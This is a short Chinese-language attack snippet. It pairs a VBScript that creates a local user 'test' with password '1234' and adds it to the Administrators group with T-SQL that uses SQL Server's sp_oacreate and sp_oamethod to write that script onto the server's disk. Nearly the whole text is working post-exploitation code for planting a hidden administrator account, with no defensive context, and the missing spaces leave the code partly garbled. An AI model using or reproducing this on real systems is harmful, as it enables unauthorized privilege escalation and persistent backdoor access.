setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Setob=GetObject(os)'得到adsi接口,绑定
Setoe=GetObject(os&"/Administrators,group")'属性,admin组
Setod=ob.Create("user","test")'建立用户
od.SetPassword"1234"'设置密码
od.SetInfo'保存
Setof=GetObject(os&"/test",user)'得到用户
oe.addos&"/test"
SQL语句如下,采用sp_oamethod过程:
declare@oint,@fint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:1.vbs',1
exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec@ret=sp_oamethod@f,'writeline',NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject
(os&"/Administrators,group")'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create
("user","test")'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject
(os&"/test",user)'
exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"'